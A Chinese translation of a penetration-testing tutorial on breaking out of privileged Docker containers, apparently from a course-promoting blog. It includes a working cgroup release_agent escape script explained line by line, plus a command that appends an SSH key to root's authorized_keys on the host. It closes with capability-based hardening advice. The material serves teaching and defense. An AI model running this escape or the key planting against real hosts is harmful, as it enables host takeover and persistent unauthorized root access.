从特权Docker容器中逃生

本文的翻译是在“ Pentest。渗透测试实务“








Docker特权容器是带有标志运行的容器--privileged与常规容器不同,这些容器具有对主机的根访问权限。



当任务需要直接访问硬件以执行任务时,通常使用特权容器。但是,特权Docker容器可以允许攻击者接管主机系统。今天,我们将看到如何退出特权容器。



搜索易受攻击的容器



我们如何确定自己在特权容器中?



您怎么知道您在容器中?



Cgroups代表对照组。此Linux功能可隔离资源使用情况,并且是Docker用于隔离容器的功能。您可以通过检查init进程的cgroup来判断您是否在容器中/proc/1/cgroup如果您不在容器内,则控制组为/。同样,如果您在容器中,则会看到/docker/CONTAINER_ID



您如何知道容器是否具有特权?



一旦确定您在容器中,就需要了解它是否具有特权。最好的方法是运行需要该标志的命令,--privileged然后查看它是否有效。



例如,您可以尝试dummy使用命令添加接口iproute2NET_ADMIN如果特权,此命令需要访问容器拥有的权限。



$ ip link add dummy0 type dummy


如果命令成功执行,则可以得出该容器具有功能的结论NET_ADMINNET_ADMIN反过来,它是一种特权的功能集,和容器没有它是没有特权的一部分。您可以dummy0在测试之后使用以下命令删除链接



ip link delete dummy0


从容器中逃脱



那么,您如何进入特权容器之外呢?以下脚本将在这里为您提供帮助。此示例和概念验证来自Trail of Bits博客要深入了解该概念,请阅读原始文章:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


概念的这个证明使用功能release_agentcgroup



最后一个过程完成后cgroup,将执行一条命令,删除已终止的工作cgroups该命令在文件中指定,release_agentroot在主机上执行默认情况下,该功能处于禁用状态,并且路径release_agent为空。



该漏洞利用文件运行代码release_agent我们需要创建cgroup,指定它的文件release_agent并启动release_agent,终止cgroup假设检验的第一行创建了一个新的组:



mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x


以下包括功能release_agent



echo 1 > /tmp/cgrp/x/notify_on_release


然后,在以下几行中写入文件的路径release_agent



host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent


然后,您可以开始写入命令​​文件。该脚本将执行命令ps aux并将其保存到文件中/output您还需要设置脚本的访问位:



echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd


最后,通过产生一个将在我们创建的cgroup中立即终止的进程来发起攻击。我们的脚本release_agent将在该过程完成后执行。现在,您可以ps aux在一个文件中读取主机上的输出/output



sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"


您可以使用此概念在主机系统上执行所需的任何命令。例如,您可以使用它将SSH密钥写入authorized_keys根用户文件



cat id_dsa.pub >> /root/.ssh/authorized_keys




防止攻击



如何防止这种攻击?不应授予容器对主机系统的完全访问权限,而应授予它们所需的权限。



Docker的功能允许开发人员有选择地向容器授予权限。可以将通常打包在root中的权限拆分access为单独的组件。



默认情况下,Docker从容器获取所有权限,并要求添加它们。您可以使用cap-drop标志删除或添加权限cap-add



--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES


例如,如果容器需要连接到1024以下的端口,则不root access给它容器,而是保留它NET_BIND_SERVICE。此标志将为容器提供必要的权限:



--cap-add NET_BIND_SERVICE


结论



尽可能避免使用带有标志的Docker容器运行--privileged特权容器可以使攻击者能够退出容器并获得对主机系统的访问权限。相反,请使用flag分别授予容器权限--cap-add



阅读更多



  • Linux内核功能
  • 安全地使用Docker
  • 使用特权容器的安全最佳实践
  • 红队战术:进攻行动中的先进监控技术
  • 渗透测试。渗透测试实践或“道德黑客”。OTUS开设的新课程





了解有关该课程的更多信息。







All Articles